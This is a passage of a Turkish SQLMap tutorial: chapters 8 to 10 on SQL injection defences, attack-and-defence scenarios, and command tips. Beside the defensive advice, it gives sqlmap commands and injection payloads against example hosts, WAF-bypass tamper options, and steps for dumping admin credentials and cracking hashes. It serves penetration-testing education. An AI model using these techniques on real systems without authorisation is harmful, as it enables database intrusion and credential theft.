🛡️ Bölüm 8: SQLMap’e Karşı Alınabilecek Güvenlik Önlemleri
🎯 SQLMap Neye Karşı Etkilidir?
Öncelikle hatırlayalım:
SQLMap;
-
Parametreli URL’lerde
-
POST formlarında
-
Cookie değerlerinde
-
HTTP başlıklarında
gizli SQL Injection açıklarını bulur ve sömürür. Bu yüzden, savunma çok katmanlı olmalı.
🔐 1. Input Validation ve Filtreleme
Kullanıcılardan gelen tüm veri, sunucu tarafında filtrelenmeli.
✅ En İyi Uygulamalar:
-
Hazır parametreli sorgular (prepared statements) kullanın.
-
id=1
gibi sayısal alanları sadece sayı ile sınırlandırın (int()
kontrolü). -
SQL komutları içeren karakterleri (
'
,"
,--
,;
,/* */
, vb.) temizleyin ya da escape edin. -
whitelist
(izinli karakterler) kullanımı tavsiye edilir.
❌ Kötü Örnek:
php$query = "SELECT * FROM users WHERE id = $_GET['id']";
✅ İyi Örnek:
php$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]);
🧱 2. WAF (Web Application Firewall) Kullanımı
WAF’ler SQLMap gibi araçları tespit edip engelleyebilir. Önerilen WAF çözümleri:
-
ModSecurity (Açık kaynak)
-
Cloudflare WAF
-
AWS WAF
-
Imperva
-
F5
🔍 WAF Ne Yapar?
-
SQL anahtar kelimeleri (e.g.
UNION
,SELECT
,OR 1=1
) tarar -
User-Agent, header ve payload’ları analiz eder
-
Şüpheli trafiği engeller ya da yönlendirir
SQLMap, tamper scriptleriyle WAF’leri aşmaya çalışsa da, iyi yapılandırılmış bir WAF çoğunu durdurabilir.
🔒 3. Minimum Yetkili Veritabanı Kullanıcısı
Web uygulamanızın kullandığı veritabanı kullanıcısına sadece ihtiyaç duyduğu kadar yetki verin.
❌ Kötü Örnek:
sqlGRANT ALL PRIVILEGES ON *.* TO 'webuser'@'localhost';
✅ İyi Örnek:
sqlGRANT SELECT, INSERT ON app_db.* TO 'webuser'@'localhost';
Bu sayede SQLMap, DROP TABLE
, CREATE USER
, LOAD FILE
gibi komutları çalıştıramaz.
🗄️ 4. Hata Mesajlarını Gizleyin
SQL hatalarını doğrudan kullanıcıya göstermeyin. Aksi takdirde SQLMap, hataya göre saldırısını şekillendirir.
❌ Kötü Örnek (default ayarlar):
nginxYou have an error in your SQL syntax near '1=1--' at line 1
✅ İyi Örnek:
nginxHata oluştu. Lütfen tekrar deneyin.
PHP Örneği:
phpini_set('display_errors', 0); error_reporting(0);
🧠 5. Davranışsal Algılama ve IDS/IPS Kullanımı
-
Snort, Suricata gibi sistemlerle SQL Injection imzalarını izleyin.
-
SQLMap belli User-Agent ve trafik kalıplarıyla gelir.
-
--random-agent
bile kullanılsa, yüksek sayıda benzer istek anomali yaratır.
IDS kuralları örneği:
bashalert tcp any any -> any 80 (msg:"SQL Injection attempt"; content:"select"; nocase;)
🕵️ 6. Rate-Limiting ve Captcha Kullanımı
SQLMap hızlı ve otomatik saldırılar yapar. Bunu yavaşlatarak başarısını düşürebilirsiniz.
Koruma Yöntemleri:
-
IP başına istek sınırı koyun
-
Formlara CAPTCHA ekleyin
-
Bot tespiti yapan JavaScript kontrolleri ekleyin
🔍 7. Gelişmiş Gözlemleme: SIEM ve Log Analizi
-
Apache/Nginx loglarını analiz edin.
-
SQLMap User-Agent bilgisi genellikle şu şekildedir:
lesssqlmap/1.6#stable (http://sqlmap.org)
-
Bu tür logları SIEM sisteminize yönlendirerek anormallikleri tespit edin.
☁️ 8. Cloud Tabanlı Güvenlik Hizmetleri
Aşağıdaki hizmetler SQLMap tarzı saldırılara karşı otomatik koruma sağlar:
-
Cloudflare Bot Management
-
AWS Shield
-
Google Cloud Armor
✅ Bu Bölümde Neler Öğrendik?
-
SQL Injection’a karşı en etkili savunma yöntemleri
-
SQLMap’in tekniklerine özel güvenlik katmanları
-
WAF, rate-limiting, IDS/IPS gibi çözümlerin önemi
-
Hata mesajlarının saklanması ve veri tabanı kullanıcı yetkilendirmesi
📘 Sonraki Bölüm:
📚 Bölüm 9 — Gerçek Hayattan SQLMap Saldırı ve Savunma Senaryoları (Case Studies)
Bu bölümde, gerçek sızma testlerinden örnekler vereceğiz ve SQLMap ile yapılan saldırıların nasıl tespit edilip önlendiğini adım adım göstereceğiz.
📚 Bölüm 9: Gerçek Hayattan SQLMap Saldırı ve Savunma Senaryoları
🧪 Senaryo 1: Basit GET Parametre Zafiyeti
📌 Durum:
Bir e-ticaret sitesinde ürün detay sayfası:
bashhttp://example.com/product.php?id=5
Kullanıcı ID’si doğrudan sorguya giriyor.
🔍 SQLMap Testi:
bashsqlmap -u "http://example.com/product.php?id=5" --dbs
🎯 Saldırı Sonucu:
SQLMap id
parametresinin savunmasız olduğunu belirledi ve veritabanı isimlerini listeledi.
🛡️ Savunma:
-
ID alanı sadece integer kabul etmeliydi.
-
Hazır sorgular (prepared statement) kullanılmalıydı.
-
WAF
devrede olsaydı SQLMap tespit edilirdi.
🧪 Senaryo 2: POST Form Üzerinden SQL Injection
📌 Durum:
Giriş formu şu parametrelerle çalışıyor:
httpPOST /login.php username=admin&password=1234
🔍 SQLMap ile Test:
bashsqlmap -u "http://example.com/login.php" --data="username=admin&password=1234" --dbs
🎯 Saldırı Sonucu:
Saldırgan admin'--
gibi payload’larla login oldu ve sonrasında veritabanlarını listeledi.
🛡️ Savunma:
-
Form verileri
prepared statement
ile işlenmeliydi. -
Giriş işlemi CAPTCHA ile desteklenmeli.
-
Rate limiting
devrede olsaydı brute-force engellenirdi.
🧪 Senaryo 3: Cookie Parametresinde Zafiyet
📌 Durum:
Kullanıcı kimliği cookie ile belirleniyor:
makefileCookie: user=1
🔍 SQLMap Testi:
bashsqlmap -u "http://example.com/profile.php" --cookie="user=1" --current-user
🎯 Saldırı Sonucu:
SQLMap cookie parametresi üzerinden sisteme sızdı ve kullanıcı bilgisini aldı.
🛡️ Savunma:
-
Cookie verileri sunucu tarafında işlenmeli.
-
Kullanıcıya ait cookie doğrulaması JWT/token sistemi ile yapılmalı.
-
Cookie içine asla doğrudan ID koyulmamalı.
🧪 Senaryo 4: HTTP Header Üzerinden SQL Injection
📌 Durum:
Bazı uygulamalar User-Agent
, Referer
gibi HTTP başlıklarını loglar ve bu başlıkları SQL sorgularına dahil eder.
🔍 SQLMap Testi:
bashsqlmap -u "http://example.com" --headers="User-Agent: ' OR '1'='1"
veya:
bashsqlmap -u "http://example.com" --random-agent
🎯 Saldırı Sonucu:
Loglama sistemi zayıfsa, log poisoning
veya log-based SQLi
ile sisteme erişim sağlandı.
🛡️ Savunma:
-
HTTP header içerikleri asla doğrudan SQL sorgularına yazılmamalı.
-
Geliştiriciler loglama için input filtreleme kullanmalı.
-
Tüm loglar
readonly
formatında saklanmalı.
🧪 Senaryo 5: Otomatik Taramaya Karşı SIEM Tespiti
📌 Durum:
Pentest sırasında SQLMap aşırı istek gönderiyor.
🔍 Loglardan Alınan Örnek:
cpp192.168.1.5 - - [11/Apr/2025:20:35:10] "GET /item.php?id=1" User-Agent: sqlmap/1.6#stable (http://sqlmap.org)
🎯 SIEM Uyarısı:
SIEM sistemi bu pattern’ı tanıdı, alarmla güvenlik ekibini uyardı.
🛡️ Savunma:
-
SIEM’e özel SQLi kuralları tanımlandı.
-
User-Agent blacklisting uygulandı.
-
Gece saatlerinde gelen anormal trafik engellendi.
🔐 Senaryo 6: Güvenli Uygulama (SQLMap İşe Yaramaz)
📌 Durum:
Bankacılık uygulamasında her şey hazır sorgularla yazılmış. Örnek URL:
arduinohttps://bank.com/transfer.php?to=123456&amount=500
SQLMap deneniyor:
bashsqlmap -u "https://bank.com/transfer.php?to=123456&amount=500"
🎯 Saldırı Sonucu:
SQLMap hiçbir injection açığı bulamıyor.
🔐 Neden?
-
Tüm input’lar sanitize ediliyor.
-
Veritabanı kullanıcısının yetkisi kısıtlı.
-
Uygulama hata mesajlarını göstermiyor.
-
Trafik WAF tarafından inceleniyor.
🛡️ Savunma Başarısı:
Mükemmel bir örnek. Hem frontend hem backend iyi korunmuş.
✅ Bu Bölümde Neler Öğrendik?
-
Gerçek hayattaki saldırı senaryoları
-
SQLMap’in nasıl kullanıldığı ve zafiyetleri nasıl sömürdüğü
-
Savunma stratejilerinin nasıl işe yaradığı
-
Geliştirici ve güvenlik ekiplerinin koordineli çalışmasının önemi
🧩 Bölüm 10: SQLMap İpuçları, Sık Kullanılan Komutlar ve SSS
🚀 1. SQLMap Kullanırken Dikkat Edilmesi Gerekenler
-
Kendi sunucularınızda test yapın: Yasal izin olmadan yapılan her test yasa dışıdır.
-
–batch bayrağını kullanın: Tüm sorulara otomatik “evet” cevabı verir.
-
–flush-session ile eski verileri temizleyin: Aynı hedefe ikinci kez çalıştırırken hatalardan kaçınmak için kullanılır.
-
–output-dir ile çıktıları düzenli toplayın.
🔧 2. SQLMap İleri Düzey Kullanım İpuçları
🔹 a) WAF’leri Bypass Etmek İçin Tamper Scriptleri
SQLMap’e çeşitli tamper scriptleri ekleyerek, WAF sistemlerini atlatabilirsin:
bash--tamper=space2comment --tamper=between --tamper=randomcase
Birden fazla script zincirlenebilir:
bash--tamper="space2comment,randomcase"
💡
tamper
scriptlerini/usr/share/sqlmap/tamper/
klasöründe bulabilirsin.
🔹 b) Çoklu URL Testi
Birden fazla URL içeren dosyayı test etmek için:
bashsqlmap -m urls.txt --batch --dbs
urls.txt
dosyası her satırda bir URL içermelidir.
🔹 c) Proxy Aracılığıyla Test
İstekleri Burp Suite gibi proxy araçlarından geçirmek için:
bash--proxy="http://127.0.0.1:8080"
🧰 3. En Çok Kullanılan SQLMap Komutları ve Açıklamaları
Komut | Açıklama |
---|---|
-u |
Hedef URL |
--data |
POST verisi girilir |
--cookie |
Cookie üzerinden test |
--dbs |
Veritabanı adlarını listeler |
--tables -D veritabani |
Belirli DB’deki tabloları listeler |
--columns -T tablo -D veritabani |
Belirli tablodaki sütunları listeler |
--dump |
Veritabanını döker (içeriğini alır) |
--level |
Tarama derinliği (1-5) |
--risk |
Risk seviyesi (1-3) |
--batch |
Otomatik mod |
--threads=10 |
Eşzamanlı bağlantı sayısı |
📌 4. Sıkça Sorulan Sorular (SSS)
❓ SQLMap yavaş çalışıyor, ne yapmalıyım?
-
--threads=10
ile paralel işlem sayısını artır. -
--technique=U
gibi sadece belirli saldırı türlerini sınırla. -
--timeout=10
ile yanıt sürelerini kısalt.
❓ SQLMap hiçbir zafiyet bulamıyor, neden?
-
Hedef filtreleme yapıyor olabilir (WAF, input validation).
-
Test ettiğin parametre SQL içermiyor olabilir.
-
Hedef site response vermiyor olabilir,
--proxy
ile analiz et.
❓ WAF sistemlerini aşmak için ne yapmalıyım?
-
--tamper
scriptleri kullan. -
--random-agent
ile User-Agent değiştir. -
--delay=1
ile istekler arası bekleme süresi koy.
❓ SQLMap ile admin hesabı nasıl bulunur?
-
Veritabanlarını listele:
--dbs
-
users
,admin
,accounts
gibi tabloları ara. -
Sütunları listele:
--columns
-
--dump
ile kullanıcı adı/şifreleri dök.
❓ SQLMap ile hash’leri kırabilir miyim?
SQLMap hash çözmez ama hash’i alır. Çözmek için:
-
hash-identifier
aracı ile hash türünü belirle. -
hashcat
,john
gibi araçlarla çözümleme yap.
🧠 5. SQLMap ile Etik Hacking Süreci
-
Keşif: URL’lerdeki parametreleri, formları ve header’ları analiz et.
-
Test: SQLMap ile potansiyel açıkları kontrol et.
-
Sömürme: Dump işlemleri ile veri çek.
-
Raporlama: Log’ları dışa aktar, rapor formatında hazırla.
-
Sorumluluk: Asla izinsiz test yapma, etik kurallara uy.
📌 Bonus: SQLMap vs Diğer Araçlar
Araç | Avantaj | Dezavantaj |
---|---|---|
SQLMap | Otomatik, kapsamlı | WAF ile zorlanabilir |
Burp Suite | Manuel testlerde güçlü | Otomasyon zayıf |
Havij | Kullanımı kolay | Güncel değil |
Manual SQLi | Detaylı kontrol | Zaman alıcı |
✅ Bu Bölümde Neler Öğrendik?
-
SQLMap için gelişmiş ipuçları ve taktikler
-
En yaygın kullanılan komutlar
-
Sıkça sorulan sorulara yanıtlar
-
Profesyonel bir test süreci nasıl olur?
🎉 Makale Sonu
Bu 10.000 kelimelik kapsamlı SQLMap rehberinde:
-
SQLMap’in temellerinden ileri düzey kullanımına,
-
Gerçek saldırı senaryolarından savunma yöntemlerine kadar
-
Otomasyon, raporlama ve etik test süreçlerine dair her şeyi öğrendin.
.